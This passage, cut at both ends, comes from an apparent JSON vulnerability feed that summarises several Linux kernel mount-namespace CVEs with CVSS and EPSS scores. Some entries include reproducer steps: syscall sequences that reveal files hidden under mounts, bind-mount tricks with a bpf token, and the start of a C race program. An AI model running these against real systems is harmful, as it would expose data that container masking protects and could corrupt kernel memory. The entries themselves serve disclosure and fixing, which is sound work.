so\nend up queueing it a second time.\n\nThe second list_add_tail() cuts the mounts queued in between out of the\nlist while the head still points at the last of them. notify_mnt_list()\nthen only visits that one mount and the others are freed after the grace\nperiod with notify_list still pointing at them. Every later mount\noperation on the host walks freed memory:\n\n  BUG: KASAN: slab-use-after-free in __list_add_valid_or_report\n  Read of size 8 at addr ffff8881003d57e0 by task notify_dq/162\n   __list_add_valid_or_report+0x15c/0x1a0\n   mnt_add_to_ns+0x322/0x890\n   attach_recursive_mnt.isra.0+0xf2a/0x1a00\n   path_mount+0x139c/0x1d40\n\nThis needs a mount with MNT_SHRINKABLE to bind from. That's what\nfinish_automount() creates (submounts of NFS, AFS and CIFS and the\ntracefs mount below debugfs). Bind mounts inherit the flag. A mount\nnamespace with a FAN_MARK_MNTNS mark does the rest and root in a user\nnamespace can have both.\n\nInitialize to_notify in alloc_vfsmnt() and leave a mount alone that is\nqueued already. mnt_notify() looks at the state the mount has when the\nlist is drained so a single entry per mount is enough. The move event\nfor a mount that is unmounted under the same hold is lost. That's fine.\nThe detach is what matters.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:21.137Z","updatedAt":"2026-10-24T14:16:51.117Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98991","asOf":"2026-10-24T14:16:51.117Z"},"epss":{"probability":0.00157,"percentile":0.04779,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98991&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98991","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98991","type":"primary","publishedAt":"2026-10-23T13:17:21.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98991&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98991, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98988","cveId":"CVE-2026-98988","aliases":[],"kind":"vulnerability","title":"Linux kernel: namespace: keep covered mounts covered in OPEN_TREE_NAMESPACE","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: keep covered mounts covered in OPEN_TREE_NAMESPACE\n\nopen_tree(OPEN_TREE_NAMESPACE) creates a new mount namespace from a\ncopy of the tree at the given path. The caller needs to be privileged\nover its current user namespace because the new mount namespace will be\nowned by it. It doesn't need to be privileged over the mount namespace\nthe tree is copied from. An unprivileged user just needs to create a\nuser namespace first.\n\nThe copy follows the rules of a detached bind mount. Without\nAT_RECURSIVE only the mount itself is cloned and its children are left\nout. With AT_RECURSIVE unbindable mounts are skipped. Both is fine when\nthe caller has privileges over the source mount namespace because it\ncould unmount those mounts anyway. Not so for an unprivileged user in\nthat mount namespace. For them a mount namespace copy is what unshare()\ndoes. copy_mnt_ns() copies everything including unbindable mounts and\nlock_mnt_tree() makes sure nothing can be unmounted in the copy. Nothing\nthat was covered gets revealed.\n\ncreate_new_namespace() only does the locking and so the covered content\nis right there in the new mount namespace:\n\n  # mount -t tmpfs none /tmp/otn; mkdir /tmp/otn/covered\n  # echo hidden > /tmp/otn/covered/under.txt\n  # mount -t tmpfs none /tmp/otn/covered\n\n  uid 1000, after unshare(CLONE_NEWUSER):\n  fd = open_tree(AT_FDCWD, \"/tmp/otn\", OPEN_TREE_NAMESPACE);\n  setns(fd, CLONE_NEWNS);\n  open(\"/covered/under.txt\", O_RDONLY)  -> \"hidden\"\n\nCovering paths with mounts is how container runtimes mask parts of\n/proc and /sys and how admins hide things.\n\nWhen the caller's user namespace doesn't own the source mount namespace\ncopy the way unshare() does and refuse a non-recursive copy of a mount\nthat has anything mounted below the requested directory and copy\nunbindable mounts in a recursive copy. A caller that is privileged over\nthe source mount namespace sees no change.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: keep covered mounts covered in OPEN_TREE_NAMESPACE\n\nopen_tree(OPEN_TREE_NAMESPACE) creates a new mount namespace from a\ncopy of the tree at the given path. The caller needs to be privileged\nover its current user namespace because the new mount namespace will be\nowned by it. It doesn't need to be privileged over the mount namespace\nthe tree is copied from. An unprivileged user just needs to create a\nuser namespace first.\n\nThe copy follows the rules of a detached bind mount. Without\nAT_RECURSIVE only the mount itself is cloned and its children are left\nout. With AT_RECURSIVE unbindable mounts are skipped. Both is fine when\nthe caller has privileges over the source mount namespace because it\ncould unmount those mounts anyway. Not so for an unprivileged user in\nthat mount namespace. For them a mount namespace copy is what unshare()\ndoes. copy_mnt_ns() copies everything including unbindable mounts and\nlock_mnt_tree() makes sure nothing can be unmounted in the copy. Nothing\nthat was covered gets revealed.\n\ncreate_new_namespace() only does the locking and so the covered content\nis right there in the new mount namespace:\n\n  # mount -t tmpfs none /tmp/otn; mkdir /tmp/otn/covered\n  # echo hidden > /tmp/otn/covered/under.txt\n  # mount -t tmpfs none /tmp/otn/covered\n\n  uid 1000, after unshare(CLONE_NEWUSER):\n  fd = open_tree(AT_FDCWD, \"/tmp/otn\", OPEN_TREE_NAMESPACE);\n  setns(fd, CLONE_NEWNS);\n  open(\"/covered/under.txt\", O_RDONLY)  -> \"hidden\"\n\nCovering paths with mounts is how container runtimes mask parts of\n/proc and /sys and how admins hide things.\n\nWhen the caller's user namespace doesn't own the source mount namespace\ncopy the way unshare() does and refuse a non-recursive copy of a mount\nthat has anything mounted below the requested directory and copy\nunbindable mounts in a recursive copy. A caller that is privileged over\nthe source mount namespace sees no change.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:20.753Z","updatedAt":"2026-10-24T14:16:50.990Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98988","asOf":"2026-10-24T14:16:50.990Z"},"epss":{"probability":0.00164,"percentile":0.0555,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98988&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98988","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98988","type":"primary","publishedAt":"2026-10-23T13:17:20.753Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98988&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98988, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98982","cveId":"CVE-2026-98982","aliases":[],"kind":"vulnerability","title":"Linux kernel: namespace: don't let a pseudo dentry become the root of a mount","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: don't let a pseudo dentry become the root of a mount\n\nd_alloc_pseudo() hands out dentries for pipes, sockets and other files\nthat are never anyone's child or parent. They carry DCACHE_NORCU and\ndentry_free() frees them right away because no lockless path walk can\never reach them. That holds as long as such a dentry isn't the root of\na mount. But bind mounting /proc/self/fd/<fd> of such a file does\nexactly that.\n\nMost callers of alloc_file_pseudo() put their files on kernel-internal\nmounts and may_copy_tree() refuses those. bpf_token_create() doesn't. It\nplaces the token file on the bpffs mount the caller handed it and that\nmount is in the caller's mount namespace so the clone goes through:\n\n  mount --bind /proc/self/fd/<token> <file>\n  open_tree(tokfd, \"\", AT_EMPTY_PATH | OPEN_TREE_CLONE) + move_mount()\n\n__follow_mount_rcu() then loads ->mnt_root of that mount, reads d_seq\nand d_flags of the dentry and only then checks mount_lock. The dentry\ncan be gone by then. The final mntput() of an unmounted parent unhooks\na child that stayed attached to it under mount_lock alone. When the\nchild's holder does the final put right after that the root is dput()\nand freed immediately while a walker that found the mount hashed still\nlooks at it.\n\nRefuse to clone a mount with a DCACHE_NORCU dentry as its root. Nothing\nsensible can be done with a bind mount of a bpf token anyway.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: don't let a pseudo dentry become the root of a mount\n\nd_alloc_pseudo() hands out dentries for pipes, sockets and other files\nthat are never anyone's child or parent. They carry DCACHE_NORCU and\ndentry_free() frees them right away because no lockless path walk can\never reach them. That holds as long as such a dentry isn't the root of\na mount. But bind mounting /proc/self/fd/<fd> of such a file does\nexactly that.\n\nMost callers of alloc_file_pseudo() put their files on kernel-internal\nmounts and may_copy_tree() refuses those. bpf_token_create() doesn't. It\nplaces the token file on the bpffs mount the caller handed it and that\nmount is in the caller's mount namespace so the clone goes through:\n\n  mount --bind /proc/self/fd/<token> <file>\n  open_tree(tokfd, \"\", AT_EMPTY_PATH | OPEN_TREE_CLONE) + move_mount()\n\n__follow_mount_rcu() then loads ->mnt_root of that mount, reads d_seq\nand d_flags of the dentry and only then checks mount_lock. The dentry\ncan be gone by then. The final mntput() of an unmounted parent unhooks\na child that stayed attached to it under mount_lock alone. When the\nchild's holder does the final put right after that the root is dput()\nand freed immediately while a walker that found the mount hashed still\nlooks at it.\n\nRefuse to clone a mount with a DCACHE_NORCU dentry as its root. Nothing\nsensible can be done with a bind mount of a bpf token anyway.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:20.043Z","updatedAt":"2026-10-24T14:16:50.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98982","asOf":"2026-10-24T14:16:50.850Z"},"epss":{"probability":0.00163,"percentile":0.05457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98982&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98982","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98982","type":"primary","publishedAt":"2026-10-23T13:17:20.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98982&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98982, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98981","cveId":"CVE-2026-98981","aliases":[],"kind":"vulnerability","title":"Linux kernel: namespace: unhash a dentry before detaching the mounts on it","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: unhash a dentry before detaching the mounts on it\n\nunlink(), rmdir() and rename() remove the entry from the filesystem,\ncall detach_mounts() on the entry with the inode locked and then call\nd_delete() once the inode is unlocked.\n\nThe thing is that between detach_mounts() and d_delete() the dentry is\nstill hashed and positive. But after detach_mounts() nothing covers the\ndentry anymore. A lookup that finds this dentry in the dcache can\nuncover what the mounts hid.\n\nThat's a problem when unlinking files or directories that are\nmountpoints in other mount namespaces. Everybody who had the underlying\nentry covered can race the detach_mount() call until d_delete() has run.\n\nThe race window isn't all that small. It encompasses namespace_unlock()\nwith a full synchronize_rcu_expedited() grace period and the\ninode_unlock() of the entry.\n\nIn my experiments three walkers that kept trying read an overmounted\nfile in 11938 of the 16140 unlinks that removed its mountpoint from a\nbind mount of the filesystem within a minute.\n\nFun fact, d_invalidate() has the same ordering problem but gets it\nright. It unhashes the dentry first and detaches the mounts afterwards.\nLet's do the same in __detach_mounts():\n\n- A lookup that hasn't found the dentry yet misses it in the dcache and\n  waits for the directory lock that the caller holds until the name is\n  gone for good.\n\n- A lockless lookup that found it already fails the mount_lock check\n  while the dentry still counts as a mountpoint and the d_seq check once\n  it doesn't, and retries.\n\nThis fixes the lockless path. We still need to fix the reference count\nlookup in a follow-up patch.\n\nSo d_drop() the dentry. The dentry stays positive and held but can't be\nfound anymore. Then proceed with the detach and unlink.\n\nReproducer:\n\nThe reads were counted with the program below, three walkers for 60 s\nin a VM with 4 CPUs. The race window is stretched with the debug patch\npasted here. fs.detach_race_walk_us sleeps in lookup_fast() once it\nfound a mountpoint dentry and before its mounts are crossed.\nfs.detach_race_unlink_us sleeps in vfs_unlink() between detach_mounts(","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: unhash a dentry before detaching the mounts on it\n\nunlink(), rmdir() and rename() remove the entry from the filesystem,\ncall detach_mounts() on the entry with the inode locked and then call\nd_delete() once the inode is unlocked.\n\nThe thing is that between detach_mounts() and d_delete() the dentry is\nstill hashed and positive. But after detach_mounts() nothing covers the\ndentry anymore. A lookup that finds this dentry in the dcache can\nuncover what the mounts hid.\n\nThat's a problem when unlinking files or directories that are\nmountpoints in other mount namespaces. Everybody who had the underlying\nentry covered can race the detach_mount() call until d_delete() has run.\n\nThe race window isn't all that small. It encompasses namespace_unlock()\nwith a full synchronize_rcu_expedited() grace period and the\ninode_unlock() of the entry.\n\nIn my experiments three walkers that kept trying read an overmounted\nfile in 11938 of the 16140 unlinks that removed its mountpoint from a\nbind mount of the filesystem within a minute.\n\nFun fact, d_invalidate() has the same ordering problem but gets it\nright. It unhashes the dentry first and detaches the mounts afterwards.\nLet's do the same in __detach_mounts():\n\n- A lookup that hasn't found the dentry yet misses it in the dcache and\n  waits for the directory lock that the caller holds until the name is\n  gone for good.\n\n- A lockless lookup that found it already fails the mount_lock check\n  while the dentry still counts as a mountpoint and the d_seq check once\n  it doesn't, and retries.\n\nThis fixes the lockless path. We still need to fix the reference count\nlookup in a follow-up patch.\n\nSo d_drop() the dentry. The dentry stays positive and held but can't be\nfound anymore. Then proceed with the detach and unlink.\n\nReproducer:\n\nThe reads were counted with the program below, three walkers for 60 s\nin a VM with 4 CPUs. The race window is stretched with the debug patch\npasted here. fs.detach_race_walk_us sleeps in lookup_fast() once it\nfound a mountpoint dentry and before its mounts are crossed.\nfs.detach_race_unlink_us sleeps in vfs_unlink() between detach_mounts()\nand d_delete().\n\n  // SPDX-License-Identifier: GPL-2.0\n  /*\n   * unlink_covered: unlink a file that is a mountpoint in a detached copy of\n   * its mount, against lookups that open it through that copy.\n   *\n   * A is a tmpfs with the file f1 (content SECRET_F) and the plain file\n   * MARK_A. A' is an open_tree(OPEN_TREE_CLONE) copy of A with MARK_A bound\n   * on A'/f1, held through an O_PATH fd on its root once the tree fd is\n   * closed. Walkers open f1 through that fd while the driver unlinks A/f1,\n   * where nothing is mounted on it. A walker may read MARK_A or get ENOENT.\n   * A read of SECRET_F is a hit: the name was found after its mount was\n   * gone. The lockless walks use openat2(RESOLVE_CACHED).\n   *\n   * usage: unlink_covered [-t seconds] [-w walkers]\n   */\n  #ifndef _GNU_SOURCE\n  #define _GNU_SOURCE\n  #endif\n  #include <errno.h>\n  #include <fcntl.h>\n  #include <pthread.h>\n  #include <stdatomic.h>\n  #include <stdio.h>\n  #include <stdlib.h>\n  #include <string.h>\n  #include <unistd.h>\n  #include <sys/mount.h>\n  #include <sys/stat.h>\n  #include <sys/syscall.h>\n  #include <linux/openat2.h>\n\n  #ifndef __NR_open_tree\n  #define __NR_open_tree 428\n  #endif\n  #ifndef __NR_move_mount\n  #define __NR_move_mount 429\n  #endif\n  #ifndef __NR_openat2\n  #define __NR_openat2 437\n  #endif\n  #ifndef OPEN_TREE_CLONE\n  #define OPEN_TREE_CLONE 1\n  #endif\n  #ifndef OPEN_TREE_CLOEXEC\n  #define OPEN_TREE_CLOEXEC O_CLOEXEC\n  #endif\n  #ifndef MOVE_MOUNT_F_EMPTY_PATH\n  #define MOVE_MOUNT_F_EMPTY_PATH 0x00000004\n  #endif\n\n  #define WORK \"/tmp/uc\"\n  #define ADIR WORK \"/A\"\n\n  static int duration = 60, nwalkers = 3;\n  static atomic_int stop, writer_waiting;\n  static pthread_rwlock_t cur_lock = PTHREAD_RWLOCK_INITIALIZER;\n  static int cur_fd = -1;\t\t/* the root of A', -1 wh\n---truncated---\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:19.890Z","updatedAt":"2026-10-24T14:16:50.680Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98981","asOf":"2026-10-24T14:16:50.680Z"},"epss":{"probability":0.00163,"percentile":0.05479,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98981&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98981","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98981","type":"primary","publishedAt":"2026-10-23T13:17:19.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98981&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98981, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98980","cveId":"CVE-2026-98980","aliases":[],"kind":"vulnerability","title":"Linux kernel: namei: don't reveal overmounted entries in refwalk","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamei: don't reveal overmounted entries in refwalk\n\nIn rcuwalk the dentry is validated before it is accepted. step_into()\nstep_into() rechecks d_seq and __follow_mount_rcu() rechecks mount_lock.\nAn entry that gets unlinked in between causes the lookup to retry and\nmiss.\n\nA refwalk doesn't do this. lookup_fast() takes a reference on the hashed\ndentry and simply accepts it. So an unlink that happens after the\nreference was taken isn't seen by refwalk. That's fine for a simple\nfile. We just happened to open it before it was unlinked, no problem.\n\nFor a mountpoint and specifically a locked mountpoint it very much\nisn't. The unlink detaches all mounts and then removes the name. Any\nrefwalk that hasn't traversed the mounts yet simply reveals the\nunderlying entry. It's a very narrow window but it can be hit:\n\n  reads of a covered file in 60 s, 3 walkers, ~15000 unlinks\n    no widening            27\n    that step + 200 us   3741\n\nSee the appended patch for a more reliable reproducer.\n\nSo check the entry after step_into(). unlink(), rmdir() and rename()\nmark the dentry with dont_mount() before they detach the mounts and\nremove the dentry.\n\nSo a dentry that is marked with DCACHE_CANT_MOUNT and is unhashed by the\ntime its mounts were looked at is a name that was unlinked under the\nrefwalk. DCACHE_CANT_MOUNT is read after the mounts were looked up and\nit is set before they are detached by detach_mounts(). A refwalk that\nmissed the mounts will see DCACHE_CANT_MOUNT.\n\nPlain d_unlinked() is fine. A rename takes the dentry off its hash chain\nbut ___d_drop() leaves d_hash.pprev set. So only __d_drop() and a rename\nover the dentry unhash it. The only move that flips IS_ROOT splices in a\ndisconnected alias. That doesn't have DCACHE_CANT_MOUNT set.\n\nAdd the to step_into_slowpath(). \"..\" and LOOKUP_DOWN may legitimately\nland on an unhashed directory. A refwalk that crossed onto a mount has\npath.mnt different from nd->path.mnt. A dentry that a filesystem dropped\non its own (d_invalidate(), d_drop()) doesn't have the flag set and is\ntreated as before.\n\n  // SPDX-License-Identifier: GPL-2.0\n  /*\n   * unlink_covered: u","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamei: don't reveal overmounted entries in refwalk\n\nIn rcuwalk the dentry is validated before it is accepted. step_into()\nstep_into() rechecks d_seq and __follow_mount_rcu() rechecks mount_lock.\nAn entry that gets unlinked in between causes the lookup to retry and\nmiss.\n\nA refwalk doesn't do this. lookup_fast() takes a reference on the hashed\ndentry and simply accepts it. So an unlink that happens after the\nreference was taken isn't seen by refwalk. That's fine for a simple\nfile. We just happened to open it before it was unlinked, no problem.\n\nFor a mountpoint and specifically a locked mountpoint it very much\nisn't. The unlink detaches all mounts and then removes the name. Any\nrefwalk that hasn't traversed the mounts yet simply reveals the\nunderlying entry. It's a very narrow window but it can be hit:\n\n  reads of a covered file in 60 s, 3 walkers, ~15000 unlinks\n    no widening            27\n    that step + 200 us   3741\n\nSee the appended patch for a more reliable reproducer.\n\nSo check the entry after step_into(). unlink(), rmdir() and rename()\nmark the dentry with dont_mount() before they detach the mounts and\nremove the dentry.\n\nSo a dentry that is marked with DCACHE_CANT_MOUNT and is unhashed by the\ntime its mounts were looked at is a name that was unlinked under the\nrefwalk. DCACHE_CANT_MOUNT is read after the mounts were looked up and\nit is set before they are detached by detach_mounts(). A refwalk that\nmissed the mounts will see DCACHE_CANT_MOUNT.\n\nPlain d_unlinked() is fine. A rename takes the dentry off its hash chain\nbut ___d_drop() leaves d_hash.pprev set. So only __d_drop() and a rename\nover the dentry unhash it. The only move that flips IS_ROOT splices in a\ndisconnected alias. That doesn't have DCACHE_CANT_MOUNT set.\n\nAdd the to step_into_slowpath(). \"..\" and LOOKUP_DOWN may legitimately\nland on an unhashed directory. A refwalk that crossed onto a mount has\npath.mnt different from nd->path.mnt. A dentry that a filesystem dropped\non its own (d_invalidate(), d_drop()) doesn't have the flag set and is\ntreated as before.\n\n  // SPDX-License-Identifier: GPL-2.0\n  /*\n   * unlink_covered: unlink a file that is a mountpoint in a detached copy of\n   * its mount, against walkers that open it through that copy.\n   *\n   * A is a tmpfs with the file f1 (content SECRET_F) and the plain file\n   * MARK_A. A' is an open_tree(OPEN_TREE_CLONE) copy of A with MARK_A bound\n   * on A'/f1, held through an O_PATH fd on its root once the tree fd is\n   * closed. Walkers open f1 through that fd while the driver unlinks A/f1,\n   * where nothing is mounted on it. A walker may read MARK_A or get ENOENT.\n   * A read of SECRET_F is a hit: the name was found after its mount was\n   * gone. The lockless walks use openat2(RESOLVE_CACHED).\n   *\n   * usage: unlink_covered [-t seconds] [-w walkers]\n   */\n  #ifndef _GNU_SOURCE\n  #define _GNU_SOURCE\n  #endif\n  #include <errno.h>\n  #include <fcntl.h>\n  #include <pthread.h>\n  #include <stdatomic.h>\n  #include <stdio.h>\n  #include <stdlib.h>\n  #include <string.h>\n  #include <unistd.h>\n  #include <sys/mount.h>\n  #include <sys/stat.h>\n  #include <sys/syscall.h>\n  #include <linux/openat2.h>\n\n  #ifndef __NR_open_tree\n  #define __NR_open_tree 428\n  #endif\n  #ifndef __NR_move_mount\n  #define __NR_move_mount 429\n  #endif\n  #ifndef __NR_openat2\n  #define __NR_openat2 437\n  #endif\n  #ifndef OPEN_TREE_CLONE\n  #define OPEN_TREE_CLONE 1\n  #endif\n  #ifndef OPEN_TREE_CLOEXEC\n  #define OPEN_TREE_CLOEXEC O_CLOEXEC\n  #endif\n  #ifndef MOVE_MOUNT_F_EMPTY_PATH\n  #define MOVE_MOUNT_F_EMPTY_PATH 0x00000004\n  #endif\n\n  #define WORK \"/tmp/uc\"\n  #define ADIR WORK \"/A\"\n\n  static int duration = 60, nwalkers = 3;\n  static atomic_int stop, writer_waiting;\n  static pthread_rwlock_t cur_lock = PTHREAD_RWLOCK_INITIALIZER;\n  static int cur_fd = -1;\t\t/* the root of A', -1 while there is none */\n  static atomic_long n_unlink, n_walk, n_mark, n_enoent, n_othe\n---truncated---\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:19.750Z","updatedAt":"2026-10-24T14:16:50.510Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98980","asOf":"2026-10-24T14:16:50.510Z"},"epss":{"probability":0.00175,"percentile":0.06978,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98980&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98980","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98980","type":"primary","publishedAt":"2026-10-23T13:17:19.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98980&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98980, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98978","cveId":"CVE-2026-98978","aliases":[],"kind":"vulnerability","title":"Linux kernel: namespace: never expire a locked mount","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: never expire a locked mount\n\nLocked mounts are special. They protect the underlying files and\ndirectories from being revealed. do_umount() refuses to unmount locked\nmounts but shrink_submounts() doesn't.\n\nA shrinkable mount can become locked once the owner of a user namespace\nputs it beneath a locked mount with MOVE_MOUNT_BENEATH. The locked\nproperty now moves to the mount at the bottom making it possible to\nunmount the top mount.\n\nSo umount() of an unlocked ancestor now expires the bottom mount first\nand the covered directory is revealed:\n\n  move_mount(c -> x/hidden, MOVE_MOUNT_BENEATH) = 0\n  the cover after the lock moved:  umount2(x/hidden) = 0\n  the holder of the lock:          umount2(x/hidden) = EINVAL\n  the root of the copy, busy:      umount2(x) = EBUSY\n  reads x/hidden/secret: \"covered-by-root\"\n\nSo leave a locked mount alone as it dies together with its parent. A\nplain umount() of an unlocked mount with a locked one below it is EBUSY\nfrom now on. It's the same for any other locked child. A lazy umount\nstill takes the whole tree.\n\nmark_mounts_for_expiry() never sees a locked mount. lock_mnt_tree()\nleaves a mount on an expiry list alone and nothing else puts a locked\none on such a list. Add an assert for this.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnamespace: never expire a locked mount\n\nLocked mounts are special. They protect the underlying files and\ndirectories from being revealed. do_umount() refuses to unmount locked\nmounts but 